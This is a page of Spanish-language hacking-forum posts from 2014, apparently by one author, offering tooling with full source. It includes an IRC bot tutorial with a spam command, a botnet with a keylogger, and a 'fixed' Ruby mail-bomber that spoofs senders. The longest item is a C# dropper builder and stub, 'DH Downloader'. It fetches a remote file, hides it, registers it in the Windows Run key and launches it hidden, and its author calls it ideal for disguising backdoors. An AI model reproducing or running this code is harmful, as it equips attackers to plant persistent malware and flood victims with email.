Para poder reconocer comandos para HackingTools lo vamos hacer con mensajes privados , el administrador del bot le habla al mismo a traves de mensajes privados con los comandos , despues el bot le responde con la respuesta del comando que le dijimos , un ejemplo de eso es este codigo el cual deben agregar despues del bucle :

Código: csharp

regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
if (regex.Success) // Si se encontro algo
{
string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
string mensaje = regex.Groups[4].Value; // El mensaje en si
if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
// el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
{
Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
// detectamos los dos comandos que son <nick> <mensaje>
if (regex_ordenes.Success) // Si se encontro algo
{
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Sure"); // Le decimos al nick dueño del bot que si
mandar_datos.Flush(); // ..
System.Threading.Thread.Sleep(5000); // Usamos Thread.Sleep para esperar 5 segundos y fingir que hacemos algo interesante xD
mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
// un mensaje al usuario especificado con el mensaje que pedimos
mandar_datos.Flush(); // ..
mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Finished"); // Le decimos al dueño del bot que terminamos
mandar_datos.Flush(); // ..
}
}
}


Como ven nuestro comando es !spam , simplemente usa esta formato "!spam <nick> <texto>" y el bot le hablara a la persona del canal que quieran con el mensaje que quieran.

0x07 : Testeando

Hemos llegado al final de este corto manual , les deberia haber quedado el codigo de esta forma :

Código: csharp

// Ejemplo de IRC Bot
// Written By Doddy Hackman in the year 2014

using System;
using System.Collections.Generic;
using System.Text;

using System.Net; // Lo usamos para realizar la conexion
using System.Net.Sockets; // Lo mismo que la anterior
using System.IO; // Lo usamos para el manejo con los streams
using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares

namespace irc
{
    class Program
    {
        static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal

        static void Main(string[] args)
        {
            NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
            TcpClient irc; // Establecemos la variable irc como TcpClient
            StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
            StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter

            string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
            string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
            string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
            string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
           
            irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
            conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
            leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
            mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC

            mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
            mandar_datos.Flush(); // Actualizamos la conexion

            mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
            mandar_datos.Flush(); // ..

            mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
            mandar_datos.Flush(); // ..

            while (true) // Mi bucle enterno
            {
                while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
                {
                    Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor

                    Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
                    // que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
                    // para ver que no estemos muerto o algo asi xD
                    if (regex.Success) // Si se encontro algo
                    {
                        string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
                        mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
                        mandar_datos.Flush(); // ..
                    }

                    regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
                    // con el poder de las expresiones regulares
                    if (regex.Success) // Si los encontraron
                    {
                        string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
                        usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
                        // cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
                        foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
                        {
                            Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
                        }
                    }

                    regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
                    if (regex.Success) // Si se encontro algo
                    {

                        mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
                        mandar_datos.Flush(); // ..

                        string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
                        string mensaje = regex.Groups[4].Value; // El mensaje en si
                        if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
                        // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
                        {
                            Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
                            Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
                            // detectamos los dos comandos que son <nick> <mensaje>
                            if (regex_ordenes.Success) // Si se encontro algo
                            {
                                mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
                                // un mensaje al usuario especificado con el mensaje que pedimos
                                mandar_datos.Flush(); // ..
                            }
                        }
                    }
                }
            }
        }
    }
}

// The End ?


Unas imagenes :







--========--
  The End ?
--========--

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Version VideoTutorial



Eso es todo.
#150
Podes programar en el SO que quieras, y para las exepciones, podes dividir el disco en dos para tener por un lado windows y por otro cualquier distribucion de linux.
#151
Python / Re:[Python] Utilizando orientación a objetos [1]
Septiembre 27, 2014, 05:30:50 PM
buen aporte , volviste de la muerte , de nuevo xD.
#152
Debates, Reviews y Opiniones / Re:Que OS usas??
Septiembre 27, 2014, 11:53:17 AM
Windows Seven y Ubuntu 10.04 , tengo el disco particionado en dos y arranca automaticamente Windows Seven si nadie elige una opcion en el menu del grub configurado desde Ubuntu.
#153
C# - VB.NET / [C#] DH Botnet 1.0
Septiembre 26, 2014, 02:59:10 PM
Traduccion a C# de mi delphi inicialmente escrita en Perl y luego en Delphi.

Tiene las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla
  • Keylogger Incluido

    Una imagen :



    Un video con ejemplo de uso :



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#154
Off Topic / Re:Feliz Cumpleaños ANTRAX
Septiembre 24, 2014, 08:26:58 PM
Happy Birthday Antrax.

#155
Ruby / Re:Mail-Bomber en Ruby
Septiembre 20, 2014, 05:55:16 PM
perdon por revivir un post tan viejo , pero me puse a probar este script en ruby y el autor dejo como 30 errores a proposito para despistar a los Script kiddie , les dejo el codigo fixeado para los que quieran probar el script y aprender tk :

Código: ruby

    #N0tBomber
    #By Sh4van3
    #Script kiddies RULES Muahahahahaahahahaha
    #Fixed for Doddy Hackman for the Script kiddies
    require 'net/smtp'
    require 'tk'
    root=TkRoot.new() {title "[N0tBomber]~"}
     
    TkLabel.new(root) {
    text "Servidor SMTP:"
    pack('side'=>'top')
    }
    ser=TkVariable.new()
    TkEntry.new(root) {
    textvariable(ser)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Cuenta de correo:"
    pack('side'=>'top')
    }
    dir=TkVariable.new()
    TkEntry.new(root) {
    textvariable(dir)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Contrase?a:"
    pack('side'=>'top')
    }
    con=TkVariable.new()
    TkEntry.new(root) {
    textvariable(con)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Direcci?n de destino:"
    pack('side'=>'top')
    }
    div=TkVariable.new()
    TkEntry.new(root) {
    textvariable(div)
    pack{padx 20; pady 20; "side" "top"}
    }
     
    TkLabel.new(root) {
    text "Direcci?n remitente (falseada):"
    pack('side'=>'top')
    }
    dif=TkVariable.new()
    TkEntry.new(root) {
    textvariable(dif)
    pack('side'=> 'top')
    }
     
    TkLabel.new(root) {
    text "Nombre del destinatario:"
    pack('side'=>'top')
    }
    nmd=TkVariable.new()
    TkEntry.new(root) {
    textvariable(nmd)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Nombre del remitente (puede ser falso):"
    pack('side'=>'top')
    }
    nmf=TkVariable.new()
    TkEntry.new(root) {
    textvariable(nmf)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Asunto del mensaje:"
    pack('side'=>'top')
    }
    as=TkVariable.new()
    TkEntry.new(root) {
    textvariable(as)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Texto del mensaje:"
    pack('side'=>'top')
    }
    txt=TkVariable.new()
    TkEntry.new(root) {
    textvariable(txt)
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "N?mero de mensajes:"
    pack('side'=>'top')
    }
    num=TkVariable.new()
    TkEntry.new(root) {
    textvariable(num)
    pack('side'=>'top')
    }
     
    result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")
     
    TkButton.new(root){
    text "Enviar"
    command proc{
    msg= "From: #{nmf} <#{dif}>
    To: #{nmd} <#{div}>
    Subject:#{as}\n\n#{txt}\n"
    begin
    smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
    rescue Net::SMTPAuthenticationError
    puts"Fallo de autenticacion."
    rescue Net::SMTPServerBusy
    puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
    rescue Net::SMTPSyntaxError
    puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
    rescue Net::SMTPFatalError
    puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
    rescue Net::SMTPUnknownError
    puts "Un error inesperado ha ocurrido."
    end
    b=0
    until b==num.to_i
    smtp.send_message(msg, dif, div)
    b+=1
    puts "#{b} mails enviados."
    result.insert('end', "#{b} mails enviados.\n")
    end
    smtp.finish
    puts "Ataque finalizado con exito :-)"
    puts "          -->N0t GRoup Rulez<--"
    z="Ataque finalizado con ?xito."
    result.insert('end', "#{z}\n")
    result.insert('end', "-->N0t Group Rulez<--\n")
    }
    pack('side'=>'top')
    }
     
    TkLabel.new(root) {
    text "Informe del env?o:"
    pack('side'=>'top')
    }
     
    Tk.mainloop
#156
C# - VB.NET / [C#] DH Downloader 1.0
Septiembre 19, 2014, 04:11:48 PM
Una traduccion de mi DH Downloader a C# con las siguiente opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  • En el generador se puede cambiar la extension del archivo bajado , ideal para camuflar backdoors en un servidor que no permite ejecutables.

    Una imagen :



    Los codigos :

    El generador.

    Código: csharp

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014
    //
    // Credits :
    //
    // Based on : http://www.csharp-examples.net/download-files/
    //
    //

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;

    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;

    using System.Reflection;

    namespace DH_Downloader
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            string ruta_final_global = "";

            // Functions

            public string hexencode(string texto)
            {
                string resultado = "";

                byte[] enc = Encoding.Default.GetBytes(texto);
                resultado = BitConverter.ToString(enc);
                resultado = resultado.Replace("-", "");
                return "0x" + resultado;
            }

            public string hexdecode(string texto)
            {

                // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
                // Thanks to emregulcan

                string valor = texto.Replace("0x", "");
                string retorno = "";

                while (valor.Length > 0)
                {
                    retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                    valor = valor.Substring(2, valor.Length - 2);
                }

                return retorno.ToString();

            }

            public void cmd_normal(string command)
            {
                try
                {
                    System.Diagnostics.Process.Start("cmd", "/c " + command);
                }
                catch
                {
                    //
                }
            }

            public void cmd_hide(string command)
            {
                try
                {
                    ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                    cmd_now.RedirectStandardOutput = false;
                    cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                    cmd_now.UseShellExecute = true;
                    Process.Start(cmd_now);
                }
                catch
                {
                    //
                }
            }

            public void extraer_recurso(string name, string save)
            {

                // Based on : http://www.c-sharpcorner.com/uploadfile/40e97e/saving-an-embedded-file-in-C-Sharp/
                // Thanks to Jean Paul

                try
                {
                    Stream bajando_recurso = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
                    FileStream yacasi = new FileStream(save, FileMode.CreateNew);
                    for (int count = 0; count < bajando_recurso.Length; count++)
                    {
                        byte down = Convert.ToByte(bajando_recurso.ReadByte());
                        yacasi.WriteByte(down);
                    }
                    yacasi.Close();
                }
                catch
                {
                    MessageBox.Show("Error unpacking resource");
                }

            }

            //

            private void mephobiaButton1_Click(object sender, EventArgs e)
            {
                Application.Exit();
            }


            private void mephobiaButton2_Click(object sender, EventArgs e)
            {

                string url = mephobiaTextBox1.Text;
                string directorio_final = "";
                string nombre_final = "";
                string ruta_final = "";

                string directorio_dondeestamos = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);

                if (mephobiaCheckBox1.Checked)
                {
                    nombre_final = mephobiaTextBox2.Text;
                }
                else
                {
                    nombre_final = Path.GetFileName(url);
                }

                if (mephobiaCheckBox2.Checked)
                {
                    directorio_final = mephobiaTextBox3.Text;
                }
                else
                {
                    directorio_final = directorio_dondeestamos;
                }

                ruta_final = directorio_final + "/" + nombre_final;
                ruta_final_global = ruta_final;
               
                //MessageBox.Show(directorio_final);
                //MessageBox.Show(nombre_final);
                //MessageBox.Show(ruta_final);

                Directory.SetCurrentDirectory(directorio_final);

                if (File.Exists(ruta_final))
                {
                    File.Delete(ruta_final);
                }

                toolStripStatusLabel1.Text = "[+] Downloading ...";
                this.Refresh();

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.DownloadFileCompleted += new AsyncCompletedEventHandler(finished);
                    nave.DownloadProgressChanged += new DownloadProgressChangedEventHandler(ahi_vamos);
                    nave.DownloadFileAsync(new Uri(url), nombre_final);
                }

                catch
                {
                    //
                }
               

                if (mephobiaCheckBox3.Checked)
                {
                    if (File.Exists(ruta_final))
                    {
                        try
                        {
                            File.SetAttributes(ruta_final, FileAttributes.Hidden);
                        }
                        catch
                        {
                            //
                        }
                    }
                }

                if (mephobiaCheckBox4.Checked)
                {
                    if (File.Exists(ruta_final))
                    {
                        try
                        {
                            RegistryKey loadnow = Registry.LocalMachine;
                            loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            loadnow.SetValue("uberkz", ruta_final, RegistryValueKind.String);
                            loadnow.Close();
                        }
                        catch
                        {
                            //
                        }
                    }
                }

                if (mephobiaCheckBox5.Checked)
                {
                    if (mephobiaRadiobutton1.Checked)
                    {
                        cmd_normal("\"" + ruta_final + "\"");
                    }
                    if (mephobiaRadiobutton2.Checked)
                    {
                        cmd_hide("\"" + ruta_final + "\"");
                    }

                }

            }

            private void ahi_vamos(object sender, DownloadProgressChangedEventArgs e)
            {
                toolStripProgressBar1.Value = e.ProgressPercentage;
            }

            private void finished(object sender, AsyncCompletedEventArgs e)
            {

                long tam = new System.IO.FileInfo(ruta_final_global).Length;

                if (File.Exists(ruta_final_global) && tam!=0 )
                {
                    toolStripStatusLabel1.Text = "[+] Done";
                    this.Refresh();
                    MessageBox.Show("Downloaded");
                }
                else
                {
                    toolStripStatusLabel1.Text = "[-] Error";
                    this.Refresh();
                    MessageBox.Show("Failed download");
                }
                toolStripProgressBar1.Value = 0;
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                toolStripProgressBar1.Value = 0;
            }

            private void mephobiaButton3_Click(object sender, EventArgs e)
            {

                string linea_generada = "";

                string url = mephobiaTextBox4.Text;
                string opcion_change_name = "";
                string text_change_name = mephobiaTextBox5.Text;
                string opcion_carga_normal = "";
                string opcion_carga_hide = "";
                string ruta_donde_bajar = "";
                string opcion_ocultar_archivo = "";
                string opcion_startup = "";

                if (mephobiaCheckBox7.Checked)
                {
                    opcion_change_name = "1";
                }
                else
                {
                    opcion_change_name = "0";
                }

                if (mephobiaRadiobutton3.Checked)
                {
                    opcion_carga_normal = "1";
                }
                else
                {
                    opcion_carga_normal = "0";
                }

                if (mephobiaRadiobutton4.Checked)
                {
                    opcion_carga_hide = "1";
                }
                else
                {
                    opcion_carga_hide = "0";
                }

                if (mephobiaComboBox1.SelectedItem != null)
                {
                    ruta_donde_bajar = mephobiaComboBox1.SelectedItem.ToString();
                }
                else
                {
                    ruta_donde_bajar = "Fuck You Bitch";
                }

                if (mephobiaCheckBox6.Checked)
                {
                    opcion_ocultar_archivo = "1";
                }
                else
                {
                    opcion_ocultar_archivo = "0";
                }

                if (mephobiaCheckBox8.Checked)
                {
                    opcion_startup = "1";
                }
                else
                {
                    opcion_startup = "0";
                }

                extraer_recurso("DH_Downloader.Resources.stub.exe", "stub.exe");

                string check_stub = AppDomain.CurrentDomain.BaseDirectory + "/stub.exe";
                string work_on_stub = AppDomain.CurrentDomain.BaseDirectory + "/done.exe";

                if (File.Exists(check_stub))
                {

                    if (File.Exists(work_on_stub))
                    {
                        System.IO.File.Delete(work_on_stub);
                    }

                    System.IO.File.Copy(check_stub, work_on_stub);

                    linea_generada = "-url-" + url + "-url-" + "-opcion_change_name-" + opcion_change_name + "-opcion_change_name-" +
                    "-text_change_name-" + text_change_name + "-text_change_name-" + "-opcion_carga_normal-" +
                    opcion_carga_normal + "-opcion_carga_normal-" + "-opcion_carga_hide-" + opcion_carga_hide +
                    "-opcion_carga_hide-" + "-ruta_donde_bajar-" + ruta_donde_bajar + "-ruta_donde_bajar-" +
                    "-opcion_ocultar_archivo-" + opcion_ocultar_archivo + "-opcion_ocultar_archivo-"+"-opcion_startup-"+
                    opcion_startup+"-opcion_startup-";

                    string generado = hexencode(linea_generada);
                    string linea_final = "-63686175-" + generado + "-63686175-";

                    FileStream abriendo = new FileStream(work_on_stub, FileMode.Append);
                    BinaryWriter seteando = new BinaryWriter(abriendo);
                    seteando.Write(linea_final);
                    seteando.Flush();
                    seteando.Close();
                    abriendo.Close();

                    //MessageBox.Show(generado);
                    //MessageBox.Show(hexdecode(generado));

                    try
                    {
                        System.IO.File.Delete(check_stub);
                    }
                    catch
                    {
                        //
                    }

                    MessageBox.Show("Tiny downloader Generated");

                }
                else
                {
                    MessageBox.Show("Stub not found");
                }

            }
        }
    }

    // The End ?


    El Stub.

    Código: csharp

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014
    // Thanks to : http://weblogs.asp.net/jhallal/hide-the-console-window-in-quot-c-console-application-quot

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Diagnostics;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;

    namespace stub
    {

        class Program
        {

            // Functions

            static public void cmd_normal(string command)
            {
                try
                {
                    System.Diagnostics.Process.Start("cmd", "/c " + command);
                }
                catch
                {
                    //
                }
            }

            static public void cmd_hide(string command)
            {
                try
                {
                    ProcessStartInfo cmd_now = new ProcessStartInfo("cmd", "/c " + command);
                    cmd_now.RedirectStandardOutput = false;
                    cmd_now.WindowStyle = ProcessWindowStyle.Hidden;
                    cmd_now.UseShellExecute = true;
                    Process.Start(cmd_now);
                }
                catch
                {
                    //
                }
            }

            static public void add_startup(string path)
            {
                try
                {
                    RegistryKey loadnow = Registry.LocalMachine;
                    loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    loadnow.SetValue("uberkzz", path, RegistryValueKind.String);
                    loadnow.Close();
                }
                catch
                {
                    //
                }
            }

            //

            static void Main(string[] args)
            {

                load_config config = new load_config();
                config.load_data();
                string check_online = config.downloader_online;
                if (check_online == "1")
                {
                    Console.WriteLine("[+] Downloader Online");

                    string url = config.url;
                    string opcion_change_name = config.opcion_change_name;
                    string text_change_name = config.text_change_name;
                    string opcion_carga_normal = config.opcion_carga_normal;
                    string opcion_carga_hide = config.opcion_carga_hide;
                    string ruta_donde_bajar = config.ruta_donde_bajar;
                    string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
                    string opcion_startup = config.opcion_startup;

                    string nombre_final = "";
                    string directorio_final = "";
                    string ruta_final = "";

                    //string output = config.get_data();
                    //Console.WriteLine(output);

                    if (opcion_change_name == "1")
                    {
                        nombre_final = text_change_name;
                    }
                    else
                    {
                        nombre_final = Path.GetFileName(url);
                    }

                    if (ruta_donde_bajar != "")
                    {
                        directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
                    }
                    else
                    {
                        directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
                    }

                    ruta_final = directorio_final + "/" + nombre_final;

                    Console.WriteLine("[+] URL : "+url+"\n");
                    Console.WriteLine("[+] Filename : "+ruta_final+"\n");

                    try
                    {
                        WebClient nave = new WebClient();
                        nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                        nave.DownloadFile(url, ruta_final);
                    }
                    catch
                    {
                        //
                    }

                    if (opcion_ocultar_archivo == "1")
                    {
                        Console.WriteLine("[+] Hide : "+ruta_final+"\n");
                        try
                        {
                            File.SetAttributes(ruta_final, FileAttributes.Hidden);
                        }
                        catch
                        {
                            //
                        }
                    }

                    if (opcion_startup == "1")
                    {
                        Console.WriteLine("[+] Add Startup : "+ruta_final+"\n");
                        add_startup(ruta_final);
                    }

                    if (opcion_carga_normal == "1")
                    {
                        Console.WriteLine("[+] Load normal : "+ruta_final+"\n");
                        cmd_normal(ruta_final);
                    }

                    if (opcion_carga_hide == "1")
                    {
                        Console.WriteLine("[+] Load hide : "+ruta_final+"\n");
                        cmd_hide(ruta_final);
                    }
                   
                    //Console.ReadKey();

                }
                else
                {
                    Console.WriteLine("[-] Downloader OffLine");
                    //Console.ReadKey();
                }
               
            }
        }
    }

    // The End ?


    Clase load_config.cs del Stub.

    Código: csharp

    // DH Downloader 1.0
    // (C) Doddy Hackman 2014

    using System;
    using System.Collections.Generic;
    using System.Text;

    using System.IO;
    using System.Text.RegularExpressions;

    namespace stub
    {
        class load_config
        {
            string downloader_online_config = "";
            string url_config = "";
            string opcion_change_name_config = "";
            string text_change_name_config = "";
            string opcion_carga_normal_config = "";
            string opcion_carga_hide_config = "";
            string ruta_donde_bajar_config = "";
            string opcion_ocultar_archivo_config = "";
            string opcion_startup_config = "";

            public string downloader_online
            {
                set { downloader_online_config = value; }
                get { return downloader_online_config; }
            }

            public string url
            {
                set { url_config = value; }
                get { return url_config; }
            }

            public string opcion_change_name
            {
                set { opcion_change_name_config = value; }
                get { return opcion_change_name_config; }
            }

            public string text_change_name
            {
                set { text_change_name_config = value; }
                get { return text_change_name_config; }
            }

            public string opcion_carga_normal
            {
                set { opcion_carga_normal_config = value; }
                get { return opcion_carga_normal_config; }
            }

            public string opcion_carga_hide
            {
                set { opcion_carga_hide_config = value; }
                get { return opcion_carga_hide_config; }
            }

            public string ruta_donde_bajar
            {
                set { ruta_donde_bajar_config = value; }
                get { return ruta_donde_bajar_config; }
            }

            public string opcion_ocultar_archivo
            {
                set { opcion_ocultar_archivo_config = value; }
                get { return opcion_ocultar_archivo_config; }
            }

            public string opcion_startup
            {
                set { opcion_startup_config = value; }
                get { return opcion_startup_config; }
            }

            public string hexencode(string texto)
            {
                string resultado = "";

                byte[] enc = Encoding.Default.GetBytes(texto);
                resultado = BitConverter.ToString(enc);
                resultado = resultado.Replace("-", "");
                return "0x" + resultado;
            }

            public string hexdecode(string texto)
            {

                // Based on : http://snipplr.com/view/36461/string-to-hex----hex-to-string-convert/
                // Thanks to emregulcan

                string valor = texto.Replace("0x", "");
                string retorno = "";

                while (valor.Length > 0)
                {
                    retorno = retorno + System.Convert.ToChar(System.Convert.ToUInt32(valor.Substring(0, 2), 16));
                    valor = valor.Substring(2, valor.Length - 2);
                }

                return retorno.ToString();
            }

            public load_config()
            {
                string downloader_online_config = "";
                string url_config = "";
                string opcion_change_name_config = "";
                string text_change_name_config = "";
                string opcion_carga_normal_config = "";
                string opcion_carga_hide_config = "";
                string ruta_donde_bajar_config = "";
                string opcion_ocultar_archivo_config = "";
                string opcion_startup_config = "";
            }

            public void load_data()
            {
                StreamReader viendo = new StreamReader(System.Reflection.Assembly.GetEntryAssembly().Location);
                string contenido = viendo.ReadToEnd();
                Match regex = Regex.Match(contenido, "-63686175-(.*?)-63686175-", RegexOptions.IgnoreCase);

                if (regex.Success)
                {
                    string comandos = regex.Groups[1].Value;
                    if (comandos != "" || comandos != " ")
                    {
                        downloader_online_config = "1";
                        string leyendo = hexdecode(comandos);

                        regex = Regex.Match(leyendo, "-url-(.*)-url-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            url_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_change_name-(.*)-opcion_change_name-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_change_name_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-text_change_name-(.*)-text_change_name-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            text_change_name_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_carga_normal-(.*)-opcion_carga_normal-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_carga_normal_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_carga_hide-(.*)-opcion_carga_hide-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_carga_hide_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-ruta_donde_bajar-(.*)-ruta_donde_bajar-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            ruta_donde_bajar_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_ocultar_archivo-(.*)-opcion_ocultar_archivo-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_ocultar_archivo_config = regex.Groups[1].Value;
                        }

                        regex = Regex.Match(leyendo, "-opcion_startup-(.*)-opcion_startup-", RegexOptions.IgnoreCase);
                        if (regex.Success)
                        {
                            opcion_startup_config = regex.Groups[1].Value;
                        }

                    }
                    else
                    {
                        downloader_online_config = "0";
                    }
                }

            }

            public string get_data()
            {
                string lista = "[+] Downloader Online : " + downloader_online_config + "\n" +
                "[+] URL : " + url_config +"\n" +
                "[+] Option Change Name : " + opcion_change_name_config + "\n" +
                "[+] Change Name to : " + text_change_name_config + "\n" +
                "[+] Option normal load : " + opcion_carga_normal_config + "\n" +
                "[+] Option hide load : " + opcion_carga_hide_config + "\n" +
                "[+] Path : " + ruta_donde_bajar_config + "\n" +
                "[+] Option hide file : " + opcion_ocultar_archivo_config + "\n" +
                "[+] Option startup : " + opcion_startup_config;

                //

                return lista;
            }
       

        }
    }

    // The End ?


    Un video con ejemplo de uso



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#157
Dudas y pedidos generales / Fuente photoshop
Septiembre 17, 2014, 08:37:05 PM
Hola estoy buscando un texto blanco para combinar con fondo negro , buscando en dafont para una fuente photoshop , note que me gustaba el logo de exploit db : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

¿ Que fuentes photoshop conocen asi o me recomiendan ?
#158
Off Topic / Re:Feliz cumpleaños [Q]3rv[0]!!!
Septiembre 12, 2014, 04:29:00 PM
feliz cumpleaños [Q]3rv[0].
#159
C# - VB.NET / [C#] DH KeyCagator 1.5
Septiembre 12, 2014, 01:02:18 PM
Version de mi keylogger KeyCagator en C# , originalmente escrito en Delphi y Perl , basicamente es solo una traduccion pero tambien le agregue unas opciones nuevas.

Opciones :

